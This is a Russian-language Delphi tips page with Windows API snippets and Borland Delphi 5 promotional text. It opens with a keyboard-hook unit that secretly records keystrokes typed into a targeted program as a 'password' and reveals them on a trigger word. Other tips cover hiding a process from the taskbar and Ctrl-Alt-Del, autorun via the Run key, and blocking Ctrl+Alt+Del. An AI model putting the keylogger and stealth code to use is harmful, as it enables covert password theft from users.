var
  hFileMappingObject: THandle;
  fInit: Boolean;

procedure DLLMain(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;
end;

begin
  DLLProc := @DLLMain;
  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF), // use paging file
    nil,                // no security attributes
    PAGE_READWRITE,     // read/write access
    0,                  // size: high 32 bits
    4096,               // size: low 32 bits
    'HookAgentShareMem' // name of map object
  );
  if hFileMappingObject = INVALID_HANDLE_VALUE then begin
    ExitCode := 1;
    Exit;
  end;
  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;
  lpvMem := MapViewOfFile(
    hFileMappingObject, // object to map view of
    FILE_MAP_WRITE,     // read/write access
    0,                  // high offset: map from
    0,                  // low offset:  beginning
    0);                 // default: map entire file
  if lpvMem = nil then begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;
  if fInit then FillChar(lpvMem, PASSWORDSIZE, #0);
end.
=== Cut ===

>5.KeyboardHook.pas
=== Cut ===
unit KeyboardHook;
interface
uses Windows;
const PASSWORDSIZE = 16;
var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
implementation
uses SysUtils, Dialogs;
function KeyboardProc(nCode: Integer; wParam: WPARAM; lParam: LPARAM ): LRESULT;
var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;
begin
  lpszPassword := PChar(lpvMem);
  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));
    lstrcat(g_szKeyword, szKeyName);
    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));
>    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
       (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);
    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;
    Result := 0;
  end
  else Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);
end;
end.
=== Cut ===

Наверх

Информация о состоянии клавиатуры

Я хотел бы узнать, при запуске моего приложения, нажата ли клавиша Ctrl. Просто хочется сделать, что-то вроде пароля.

О состоянии клавиатуры дают информацию следующие функции:
GetKeyState, GetAsyncKeyState, GetKeyboardState.
Чтобы упростить себе жизнь и не возиться с этими функциями снова и снова я написал маленькие функции:

function AltKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_MENU)) and $8000)<>0;
end;
function CtrlKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_CONTROL)) and $8000)<>0;
end;
function ShiftKeyDown : boolean;
begin
 result:=(Word(GetKeyState(VK_SHIFT)) and $8000)<>0;
end;

А заодно и для клавиш переключателей:

function CapsLock : boolean;
begin
 result:=(GetKeyState(VK_CAPITAL) and 1)<>0;
end;
function InsertOn : boolean;
begin
 result:=(GetKeyState(VK_INSERT) and 1)<>0;
end;
function NumLock : boolean;
begin
 result:=(GetKeyState(VK_NUMLOCK) and 1)<>0;
end;
function ScrollLock : boolean;
begin
 result:=(GetKeyState(VK_SCROLL) and 1)<>0;
end;

Наверх

Управление питанием из программы на Delphi

При написании разнообразны программ типа заставок, менеджеров управления компьютером ... возникает необходимость переводить компьютер в режим "спячки". Для включения этого режима в Windows 95 (и только в ней !!) предусмотрена команда API:
SetSystemPowerState(Suspended, Mode: Boolean):boolean;
Suspended должно быть TRUE для ухода в спячку.
Mode - режим входа в спячку. Если TRUE, то всем программам и драйверам посылается Message PBT_APMSUSPEND, по которому они должны немедленно прекратить работу. Если FALSE, то посылается Message PBT_APMQUERYSUSPEND запроса на спячку, и драйвера в ответ могут дать отказ на включение режима спячки.
Возврат функции SetSystemPowerState: TRUE - режим включен.

Наверх

Пример получения списка запущенных приложений.

procedure TForm1.Button1Click(Sender: TObject);
VAR
  Wnd : hWnd;
  buff: ARRAY [0..127] OF Char;
begin
  ListBox1.Clear;
  Wnd := GetWindow(Handle, gw_HWndFirst);
  WHILE Wnd <> 0 DO BEGIN {Не показываем:}
    IF (Wnd <> Application.Handle) AND {-Собственное окно}
       IsWindowVisible(Wnd) AND {-Невидимые окна}
       (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
       (GetWindowText(Wnd, buff, sizeof(buff)) <> 0){-Окна без заголовков}
    THEN BEGIN
      GetWindowText(Wnd, buff, sizeof(buff));
      ListBox1.Items.Add(StrPas(buff));
    END;
    Wnd := GetWindow(Wnd, gw_hWndNext);
  END;
  ListBox1.ItemIndex := 0;
end;

Наверх

Как отключить показ кнопки программы в TaskBar и по Alt-Tab и в Ctrl-Alt-Del

Внеся изменения (выделенные цветом) в свой проект вы получите приложение, которое не видно в TaskBar и на него нельзя переключиться по Alt-Tab

program Project1;
uses
  Forms,
  Windows,
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
var
 ExtendedStyle : integer;
begin
  Application.Initialize;
  ExtendedStyle:=GetWindowLong(application.Handle, GWL_EXSTYLE);
  SetWindowLong(Application.Handle, GWL_EXSTYLE,
    ExtendedStyle or WS_EX_TOOLWINDOW {AND NOT WS_EX_APPWINDOW});
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.

Если включить синий коментарий, то получите очень интересное приложение. Оно не видно в TaskBar и на него нельзя переключиться по Alt-Tab, но когда приложение минимизируется оно остается на рабочем столе в виде свернутого заголовка (прямо как в старом добром Windows 3.11)

Только сpазу пpедупpеждаю пpо гpабли, на котоpые я наступал:
Будь готов к тому, что если пpи попытке закpытия пpиложения в OnCloseQuery или OnClose выводится вопpос о подтвеpждении, то могут быть пpоблемы с автоматическим завеpшением пpогpаммы пpи shutdown - под Win95 пpосто зависает, под WinNT не завеpшается. Очевидно, что сообщение выводится, но его не видно (пpичем SW_RESTORE не сpабатывает). Решение - ловить WM_QueryEndSession и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt.

А вот как отрубить показ файла в Ctrl-Alt-Del

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall;
  external 'KERNEL32.DLL';

implementation

procedure TForm1.Button1Click(Sender: TObject);
begin //Hide
 if not (csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin //Show
 if not (csDesigning in ComponentState) then
  RegisterServiceProcess(GetCurrentProcessID, 0);
end;

Наверх

Добавление программы в автозапуск

sProgTitle: Название для программы
sCmdLine: Имя EXE файла с путем доступа
bRunOnce:  Запустить только один раз или постоянно при загрузке Windows

procedure RunOnStartup(sProgTitle, sCmdLine : string; bRunOnce : boolean );
var
  sKey : string;
  reg  : TRegIniFile;
begin
  if( bRunOnce )then sKey := 'Once'
  else sKey := '';
  reg := TRegIniFile.Create( '' );
  reg.RootKey := HKEY_LOCAL_MACHINE;
  reg.WriteString(
    'Software\Microsoft'
    + '\Windows\CurrentVersion\Run'
    + sKey + #0,
    sProgTitle,
    sCmdLine );
  reg.Free;
end;

// Например
RunOnStartup('Title of my program','MyProg.exe',False );

Примечание. Этот пример удобно использовать при написании деинсталляторов - добавить однократный вызов деинсталлятора и запросить от пользователя перезагрузку. Этот прием позволит безболезненно удалять DLL и им подобные файлы, которые обычном способом удалить невозможно (они загружены в силу того, что использовались деинсталлируемой программой или работают в момент деинсталляции).

Наверх

Удаляет файл в корзину

uses ShellAPI;

function DeleteFileWithUndo( sFileName : string ) : boolean;
var fos : TSHFileOpStruct;
begin
 sFileName:= sFileName+#0;
  FillChar( fos, SizeOf( fos ), 0 );
  with fos do begin
    wFunc  := FO_DELETE;
    pFrom  := PChar( sFileName );
    fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
  end;
  Result := ( 0 = ShFileOperation( fos ) );
end;

Наверх

Добавить ссылку на мой файл в меню Пуск|Документы

uses ShellAPI, ShlOBJ;
procedure AddToStartDocumentsMenu( sFilePath : string );
begin
  SHAddToRecentDocs(  SHARD_PATH, PChar( sFilePath ) );
end;

// Например
AddToStartDocumentsMenu( 'c:\windows\MyWork.txt' );

Наверх

Устанавливаем свой WallPaper для Windows

program wallpapr;
uses Registry, WinProcs;

procedure SetWallpaper(sWallpaperBMPPath : String; bTile : boolean );
var
  reg : TRegIniFile;
begin
// Изменяем ключи реестра
// HKEY_CURRENT_USER
//   Control Panel\Desktop
//     TileWallpaper (REG_SZ)
//     Wallpaper (REG_SZ)
  reg := TRegIniFile.Create('Control Panel\Desktop' );
  with reg do begin
    WriteString( '', 'Wallpaper',
      sWallpaperBMPPath );
    if( bTile )then
    begin
      WriteString('', 'TileWallpaper', '1' );
    end else begin
      WriteString('', 'TileWallpaper', '0' );
    end;
  end;
  reg.Free;
// Оповещаем всех о том, что мы
// изменили системные настройки
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil, SPIF_SENDWININICHANGE );
end;

begin
 // пример установки WallPaper по центру рабочего стола
 SetWallpaper('c:\winnt\winnt.bmp', False );
end.

Наверх

Как запретить кнопку Close [x] в заголовке окна.

procedure TForm1.FormCreate(Sender: TObject);
var Style: Longint;
begin
  Style := GetWindowLong(Handle, GWL_STYLE);
  SetWindowLong(Handle, GWL_STYLE, Style And Not WS_SYSMENU);
end;

procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
  if (Key = VK_F4) and (ssAlt in Shift) then begin
    MessageBeep(0); Key := 0;
  end;
end;

Наверх

Каким образом можно изменить системное меню формы?

Hе знаю как насчет акселераторов, надо поискать, а вот добавить Item - пожалуйста

type
   TMyForm=class(TForm)
   procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND;
   end;
const
ID_ABOUT  = WM_USER+1;
ID_CALENDAR=WM_USER+2;
ID_EDIT  =  WM_USER+3;
ID_ANALIS = WM_USER+4;

implementation

procedure TMyForm.wmSysCommand;
begin
 case Message.wParam of
  ID_CALENDAR:DatBitBtnClick(Self) ;
  ID_EDIT  :EditBitBtnClick(Self);
  ID_ANALIS:AnalisButtonClick(Self);
 end;
 inherited;
end;

procedure TMyForm.FormCreate(Sender: TObject);
var SysMenu:THandle;
begin
 SysMenu:=GetSystemMenu(Handle,False);
 InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,'');
 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar');
 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis');
 InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit');
end;

Наверх

Запуск внешней программы и ожидание ее завершения

procedure TForm1.Button1Click(Sender: TObject);
var
  si : Tstartupinfo;
  p  : Tprocessinformation;
begin
 FillChar( Si, SizeOf( Si ) , 0 );
 with Si do begin
  cb := SizeOf( Si);
  dwFlags := startf_UseShowWindow;
  wShowWindow := 4;
 end;
 Application.Minimize;
 Createprocess(nil,'notepad.exe',nil,nil,false,Create_default_error_mode,nil,nil,si,p);
 Waitforsingleobject(p.hProcess,infinite);
 Application.Restore;
end;

Наверх

Как узнать местоположение специальных папок у Windows?

var
  FolderPath :string;

Registry := TRegistry.Create;
try
 Registry.RootKey := HKey_Current_User;
 Registry.OpenKey('Software\Microsoft\Windows\'+
  'CurrentVersion\Explorer\Shell Folders', False);
 FolderName := Registry.ReadString('StartUp');
   {Cache, Cookies, Desktop, Favorites,
    Fonts, Personal, Programs, SendTo, Start Menu, Startp}
finally
 Registry.Free;
end;

Наверх

Как засунуть в исполняемый файл wav-файл, и затем проиграть этот звук?

В файл MyWave.rc пишешь:
   MyWave RCDATA LOADONCALL MyWave.wav

Затем компилируешь
   brcc32.exe MyWave.rc, получаешь MyWave.res.

В своей программе пишешь:

{$R MyWave.res}
procedure RetrieveMyWave;
var
  hResource: THandle;
  pData: Pointer;
begin
  hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDATA));
  try
    pData := LockResource(hResource);
    if pData = nil then raise Exception.Create('Cannot read MyWave');
    // Здесь pData указывает на MyWave
    // Теперь можно, например, проиграть его (Win32):
    PlaySound('MyWave', 0, SND_NODEFAULT);
  finally
    FreeResource(hResource);
  end;
end;

Наверх

Как скрыть таскбар?

procedure TForm1.Button1Click(Sender: TObject);
var
  hTaskBar : THandle;
begin
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_HIDE);
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  hTaskBar : THandle;
begin
  hTaskbar := FindWindow('Shell_TrayWnd', Nil);
  ShowWindow(hTaskBar, SW_SHOWNORMAL);
end;

Наверх

События нажатия на системные кнопки формы (минимизация, закрытие...)

Хотелось бы чтобы при нажатии на кнопку minimize программа исчезала из таскбара.
При нажатии на эти кнопки происходит сообщение WM_SYSCOMMAND, его то и надо перехватить.
При этом:
uCmdType = wParam; // type of system command requested
xPos = LOWORD(lParam); // horizontal postion, in screen coordinates
yPos = HIWORD(lParam); // vertical postion, in screen coordinates

Пример:

Type TMain = class(TForm)
 ....
 protected
  Procedure WMGetSysCommand(var Message :TMessage); message WM_SYSCOMMAND;
 end;
 .....
//------------------------------------------------------------------------
//   Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна)
//------------------------------------------------------------------------
Procedure TForm1.WMGetSysCommand(var Message : TMessage) ;
Begin
 IF (Message.wParam = SC_MINIMIZE) Then Form1.Visible:=False
 Else Inherited;
End;

Наверх

Подключение и отключение сетевых дисководов

Для работы с сетевыми дисководами (и ресурсами типа LPT порта) в WIN API 16 и WIN API 32 следующие функции:

1.Подключить сетевой ресурс
WNetAddConnection(NetResourse,Password,LocalName:PChar):longint;
где NetResourse - имя сетевого ресурса (например '\\P166\c')
Password - пароль на доступ к ресурсу (если нет пароля, то пустая строка)
LocalName - имя, под которым сетевой ресурс будет отображен на данном компьютере (например 'F:')

Пример подключения сетевого диска WNetAddConnection('\\P166\C','','F:');
Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR - Нет ошибок - успешное завершение
ERROR_ACCESS_DENIED - Ошибка доступа
ERROR_ALREADY_ASSIGNED - Уже подключен. Наиболее часто возникает при повторном вызове данной функции с теми-же параметрами.
ERROR_BAD_DEV_TYPE - Неверный тип устройства.
ERROR_BAD_DEVICE - Неверное устройство указано в LocalName
ERROR_BAD_NET_NAME - Неверный сетевой путь или сетевое имя
ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_INVALID_PASSWORD - Неверный пароль
ERROR_NO_NETWORK - Нет сети

2.Отключить сетевой ресурс
WNetCancelConnection(LocalName:PChar;ForseMode:Boolean):Longint;
где
LocalName - имя, под которым сетевой ресурс был подключен к данному компьютеру (например 'F:')
ForseMode - режим отключения :
False - корректное отключение. Если отключаемый ресурс еще используется, то отключения не произойдет (например, на сетевом диске открыт файл)
True - скоростное некорректное отключение. Если ресурс используется, отключение все равно произойдет и межет привести к любым последствиям (от отсутствия ошибок до глухого повисания)

Функция возвращает код ошибки. Для всех кодов предописаны константы, наиболее часто используемые :
NO_ERROR - Нет ошибок - успешное завершение
ERROR_DEVICE_IN_USE - Ресурс используется
ERROR_EXTENDED_ERROR - Некоторая ошибка сети (см. функцию WNetGetLastError для подробностей)
ERROR_NOT_CONNECTED - Указанное ус-во не является сетевым
ERROR_OPEN_FILES - На отключаемом сетевом диске имеются открытые файлы и параметр ForseMode=false

Рекомендация: при отключении следует сначала попробовать отключить устройство с параметром ForseMode=false и при ошибке типа ERROR_OPEN_FILES выдать запрос с сообщением о том, что ус-во еще используется и предложением отключить принудительно, и при согласии пользователя повторить вызов с ForseMode=true

Наверх

Как передать при создании нити (Tthread) ей некоторое значение?

К примеру, функция "прослушивает" каталог на предмет файлов. Если находит, то создает нить, которая будет обрабатывать файл. Потомку надо передать имя файла, а вот как?

Странный вопрос. Я бы понял, если бы требовалось передавать данные во время работы нити. А так обычно поступают следующим образом.
В объект нити, происходящий от TThread дописывают поля. Как правило, в секцию PRIVATE. Затем переопределяют конструктор CREATE, который, принимая необходимые параметры заполняет соответствующие поля. А уже в методе EXECUTE легко можно пользоваться данными, переданными ей при его создании.
Например:

......
TYourThread = class(TTHread)
private
 FFileName: String;
protected
 procedure Execute; overrided;
public
 constructor Create(CreateSuspennded: Boolean;
 const AFileName: String);
end;
.....
constructor TYourThread.Create(CreateSuspennded: Boolean;
  const AFileName: String);
begin
 inherited Create(CreateSuspennded);
 FFIleName := AFileName;
end;

procedure TYourThread.Execute;
begin
 try
  ....
  if FFileName = ...
  ....
 except
  ....
 end;
end;
....
TYourForm = class(TForm)
....
private
 YourThread: TYourThread;
 procedure LaunchYourThread(const AFileName: String);
 procedure YourTreadTerminate(Sender: TObject);
....
end;
....
procedure TYourForm.LaunchYourThread(
  const AFileName: String);
begin
 YourThread := TYourThread.Create(True, AFileName);
 YourThread.Onterminate := YourTreadTerminate;
 YourThread.Resume
end;
....
procedure TYourForm.YourTreadTerminate(Sender: TObject);
begin
 ....
end;
....
end.

Наверх

Имею тег <img src="cgi-bin/proga.exe" border=...> Программа должна выдавать в браузер изображение. Прочитать JPeg, указать ContentType=Image/jpeg и выдать изображение в SaveToStream умею. Как сделать тоже самое для файлов GIF, в особенности анимационных? Если можно просто перелить дисковый файл (пусть он хоть трижды GIF) в Response CGI-програмы, то как это сделать?

Выдайте из скрипта следующее:

Content-type: image/gif

<содержимое gif-файла>

Наверх

Рисую две иконки 32х32 и 16х16, но под NT 32х32 не показывается!

С помощью Image Editor из комплекта Delphi3 создаю ресурс содержащий иконки и добавляю его в свой проект. Как известно, одна иконка в ресурсе может иметь два вида 32х32 и 16х16, которые отображаются соответственно при выборе крупных и мелких значков. Я создаю оба изображения, но после компиляции отображается только 16х16 (при крупных значках оно растягивается). Как мне сделать так, чтобы отображались обе иконки?

1. Такая штука работает только под Win 95-98, а в NT вторая икона не учитывается
2. Для редактирования подобных иконок лучше использовать либо Borlad Resourse Workshop или Visual C++ (для иконок годится но для всего остального, извините!)

Наверх

Как программно создать ярлык?

uses ShlObj, ComObj, ActiveX;

  procedure CreateLink(const PathObj, PathLink, Desc, Param: string);
  var
    IObject: IUnknown;
    SLink: IShellLink;
    PFile: IPersistFile;
  begin
    IObject := CreateComObject(CLSID_ShellLink);
    SLink := IObject as IShellLink;
    PFile := IObject as IPersistFile;
    with SLink do begin
      SetArguments(PChar(Param));
      SetDescription(PChar(Desc));
      SetPath(PChar(PathObj));
    end;
    PFile.Save(PWChar(WideString(PathLink)), FALSE);
  end;

Наиболее распространенная задача - создание ярлыка на рабочем столе. Для этого необходимо определить полный путь к системной папке Windows Desctop через реестр и передать его в качестве параметра PathLink.

Наверх

Затенить кнопку закрыть в заголовке формы

Следующий текст убирает команду закрыть из системного меню и одновременно делает серой кнопку закрыть в заголовке формы:

procedure TForm1.FormCreate(Sender: TObject);
var hMenuHandle:HMENU;
begin
 hMenuHandle := GetSystemMenu(Handle, FALSE);
 IF (hMenuHandle <> 0) THEN
  DeleteMenu(hMenuHandle, SC_CLOSE, MF_BYCOMMAND);
end;

Наверх

Как определить, имеется ли в системе звуковая плата

Эта функция может быть полезна при написании инсталляторов
Uses --//--,mmSystem;
--- // ---
Function CheckAudioCard : boolean;
Begin
 Result:=WaveOutGetNumDevs>0;
end;

Наверх

Как определить информацию о памяти (размер ОЗУ ...)

Самый простой способ - использовать следующую функцию

Function GetRAMSize:integer;
var MS : TMemoryStatus;
Begin
 GlobalMemoryStatus(MS);
 Result := MS.dwTotalPhys;
end;

Функция возвращает размер ОЗУ в байтах. В общем функция GlobalMemoryStatus заполняет структуру типа TMemoryStatus, которая имеет ряд достаточно полезных полей:

dwTotalPhys | Полный объем ОЗУ (т.е. физической памяти)
dwAvailPhys | Свободный объем ОЗУ (как правило небольшая величина)
dwTotalVirtual | Полный объем виртуальной памяти
dwAvailVirtual | Свободный объем виртуальной памяти
dwMemoryLoad | Процент использования памяти (0-не используется, 100-используется вся)
dwTotalPageFile | Общий размер данных (в байтах), которые могут быть сохранены в файле подкачки (но это не является его размером на диске !!)
dwAvailPageFile | Доступный объем в файле подкачки

Прим. Перевод названий корявый - подробности в win32.hlp :))

Наверх

Как написать свой PlugIN (типа поддержки различных форматов файлов ...)

Типовая задача - разрабатывается некая задача и при этом

  • Некоторые ее компоненты могут не инсталлироваться баз ущерба для работоспособности
  • Некоторые компоненты предполагается изготавливать впоследствии и рассылать пользователям
  • Некоторые компоненты могут разрабатываться другими программистами и распространяться независимо от программы
  • .....

Классические примеры - фильтры для совместимости по форматам файлов с другими программами, некоторые расширения и дополнительные возможности. Примеры и моей практики - приведу парочку

  • Программа управления программатором ПЗУ. Заранее неизвестно, с каким железом она будет работать и как им управлять. Необходимо было дать возможнось разработчику железа написать для него поддержку
  • Программа печати отчетов. Она должна печатать в любой кодировке на любой принтере, в т.ч. и экзотическом типа АЦПУ. Заранее неизвестно, какие принтеры будуп применяться совместно с ней и как ими управлять (известно только одно - драйверов под них нет и не будет) - переделывать программу под каждый принтер - неинтересно ...

Итак, все это можно реализовать в DLL, однако обычное ее подключение приведет к тому, что при запуске программа будет искать все подключенне к ней DLL и в случае отсутствия хотя-бы одной откажется запускаться. Это не приемлемо, но к счастю есть возможность и весьма удоюный набор сервисных функций для динамической загрузки, использования и выгрузки DLL.

Пример (приложение имеет одно окно, на нем кнопка):

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
  public
  end;
 // Тип "процедура". Естественно, можно определит типы
 // "функция" или "функция с параметрами" ...
 TDllProc = procedure;

var
  Form1: TForm1;
  DllProcPtr  : TDllProc;
  LibInstance : HMODULE; // Логический номер модуля DLL

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
 // Проверим, загружена ли DLL
 if LibInstance=0 then Begin
  // Не загружена, попробуем загрузить
  LibInstance := LoadLibrary('plug_in.dll');
  // Проверим, успешна ли загрузка (LibInstance=0 - неуспешно)
  If LibInstance=0 then Begin
   ShowMessage('Ошибка загрузки библиотеки plug_in.dll');
   exit;
  end;
  // Ищем функцию по ее имени (имя должно точно совпадать)
  DllProcPtr := TDllProc(GetProcAddress(LibInstance,'MyProc'));
  // Проверим, нашли ли (если нашли, то Assigned вернет true)
  if not Assigned(DllProcPtr) then Begin
   // Не нашли - выгружаем DLL из памяти
   FreeLibrary(LibInstance);
   LibInstance:=0;
   ShowMessage('Ошибка: функция MyProc не найдена');
   exit;
  end;
  // Непосредственно вызов функции
  DllProcPtr;
  // Выгрузка библиотеки
  FreeLibrary(LibInstance);
  LibInstance:=0;
 end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 DllProcPtr:=nil;
 LibInstance:=0;
end;

end.

Естественно, в реальной задаче имеет смысл создать свой класс, который при инициализации будет загружать библиотеку, а при уничтожении - выгружать. Кроме того, он должен иметь функцию типа "Перезагрузить библиотеку", которая будет выгружать текущую и загружать новую. DLL - обычная, естественно может иметь неограниченное количество процедур и функций.

Особенности:

  • Пока библиотека загружена, ее файл нельзя ни удалить, ни переименовать. Поэтому при возникновении ошибок следует выгружать библиотеку, иначе пользователь не сможет ее заменит (без перезагрузки ПК).
  • Обычно имеет смысл создать ряд функции типа GetInfo, GetAutor, GetCopyRight ..., чтобы вызывающая программа могла получить информацию о назначении данной DLL
  • Расширение DLL не является обязательным, поэтому можно применять свои расширения (например DRV)

Наверх

Как подавить реакцию Windows на CTRL+ALT+DEL, ALT-TAB, CTRL-ESC

В некоторых случаях (например, при работе в полноэкранном режиме, показе своей презентации или экранной заставки ...) бывает полезно заблокировать перечисленные комбинации клавиш. Они блокируются при работе системы в режиме "экранная заставка" , который в свою очередь несложно включить и выключить:

// Включение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, 0, 0);
// Выключение режима
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, 0, 0);
Кстати, SystemParametersInfo имеет еще кучу полезных ключей  SPI_****,
  подробности см. в win32.hlp

Наверх


Borland Delphi 5

Delphi5Enterprise_box.jpeg (9693 bytes)

Самый быстрый и эффективный спооб создания Windows-приложений Высокопродуктивная разработка для Internet

Delphi 5 включает новые возможности:

  • Internet Express, который ускоряет разработку для Internet и XML (Extensible Markup Language), упрощает распределение данных и оптимизирует обмен данными. Это позволяет разработчикам строить высокоскоростные, гибкие и масштабируемые приложения для Web-сервера, обеспечивая обработку динамических данных;
  • Поддержка HTML 4 для создания полноценных динамических тонких клиентов для World Wide Web;
  • MIDAS 3 для масштабирования Internet-приложений. MIDAS 3 обеспечивает высокую скорость обработки наряду с ростом объёма транзакций и количества клиентов Web-браузеров и Windows-клиентов в Internet или Intranet. MIDAS использует все стандарты распределённых вычислений, такие, как HTTP, CORBA (Common Object Request Broker Architecture), COM (Component Object Model) и MTS (Microsoft Transaction Server), что позволяет интегрировать существующие системы с разрабатываемыми приложениями.
Высокопроизводительная разработка приложений для баз данных

Delphi 5 поддерживает новейшие технологические стандарты в области разработки приложений для баз данных и включает следующие новые возможности:

  • ADOExpress для быстрого доступа ко всем типам информации (реляционные и нереляционные данные, включая е-mail и файловые системы) с использованием Microsoft's ActiveX Data Object (ADO) и технологии OLE DB. В сочетании с открытой архитектурой компонент Delphi5 по работе с данными программисты могут быстро строить бизнес-приложения в Internet;
  • InterBase Express (IBX) - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5, быстрой, с малой стоимостью поддержки реляционной СУБД. Система, построенная с использованием IBX, не нуждается в дополнительном лицензировании и не требует дополнительных денежных затрат.
Высокая продуктивность корпоративной разработки

Delphi 5 включает:

  • TeamSource, новый инструмент, который позволяет командам разработчиков отслеживать изменения исходного кода. TeamSource работает на основе существующих систем управления исходным кодом и контроля версий (таких, как PVCS) и дополняет их высокопродуктивной моделью потоков работ (workflow), которая упрощает управление для больших распределённых команд;
  • Borland Translation Suite для быстрой интернационализации или локализации приложений.
Высокая продуктивность для разработчика

Delphi 5 уменьшает время цикла разработки и увеличивает продуктивность программиста за счет следующих новых возможностей:

  • Улучшение интегрированной среды разработки (IDE), включая:
    • Дизайнер DataModule с древовидным представлением и представлением в виде диаграммы данных для исчерпывающего обзора данных в приложениях;
    • Броузер проекта (Project-Wide) для просмотра кода в пределах проекта и для навигации в библиотеке компонент VCL (Visual Component Library);
    • Контроль соответствия хода разработки временному графику с использованием и списков "что сделать" (To Do lists);
    • Новые мастера для создания консольных приложений и апплетов.
    • Панели Управления Windows.
  • Расширенный инструментарий отладки, включая:
    • Удалённая отладка для распределённой разработки (COM и CORBA);
    • Отладка нескольких процессов одновременно;
    • Быстрая навигация по точкам останова (всплывающие подсказки, задание действий и группировка);
    • Просмотр состояния FPU для низкоуровневой отладки
Включает все заявленные функциональные возможности:
  • Internet Express для создания гибких расширяемых систем с поддержкой DHTML и XML; масштабирование Internet-приложений с использованием MIDAS, поддерживающего все стандарты распределённых вычислений: HTTP, CORBA, COM и MTS; поддержка HTML 4 для создания полноценных динамических тонких клиентов WWW;
  • обеспечивает быстрый доступ ко всем типам информации с помощью ADOExpress (реляционные и нереляционные данные, включая е-mail и файловые системы);
  • включает InterBase Express - высокопродуктивное средство построения системы "под ключ" на основе Delphi5 и InterBase v5.5;
  • обеспечивает доступ к широкому классу БД через драйверы и ODBC;
  • содержит TeamSource - инструмент управления исходным кодом при групповой разработке;
  • включает среду разработки IDE, развитые средства отладки и около 200 компонент VCL.

Версии продукта

  • Delphi 5 Enterprise
  • Delphi 5 Professional
  • Delphi 5 Standard

Содержание


Borland Home Page

Delphi – общепризнанный лидер среди инструментов для создания приложений и систем, функционирующих на платформе Windows. Передовая объектно-ориентированная технология визуального проектирования позволяет отдельным программистам и коллективам разработчиков почуствовать уверенность в возможности полного удовлетворения запросов самых требовательных пользователей и устойчивость своего положения на рынке высоких технологий.

Сочетание возможностей быстрого прототипирования приложений с технологиями уровня предприятия обеспечивает плавное и предсказуемое развитие проектов любого масштаба. Следование стандартам индустрии и открытость к взаимодействию с любыми частными решениями гарантирует успех проектов, разрабатываемых с использованием Delphi.

Новая версия Delphi 5 включает уникальные средства поддержки Web и интеграции с существующими Windows-приложениями. Возможность работы с разнообразными источниками информации и прозрачность подключения новых механизмов доступа к данным делает Delphi 5 наиболее оптимальным выбором для профессионалов индустрии информационных технологий.

Распределенные системы

В основе поддержки распределенных вычислений в Delphi лежит два важнейших принципа: ориентация на стандарты и высокоуровневая разработка клиентской и серверной логики приложений на основе компонентной модели. Комплекс технологий, компонент, инструментов и средств поддержки объектных инфраструктур (middleware): COM, CORBA, XML – MIDAS – является неотъемлемой частью Delphi 5 Enterprise.

Internet и e-Business

Уникальная поддержка новейших Web-технологий в Delphi 5 позволяет качественно расширить функциональность корпоративных информационных систем и их значение для развития бизнеса, обеспечивая оперативный доступ к информации c помощью Internet.

Подробнее о Delphi 5


Delphi 5 Enterprise

Delphi5Enterprise_box.jpeg (9693 bytes) Delphi 5 Enterprise - высокопродуктивное средство для корпоративных разработок в области Internet и распределенных вычислений.
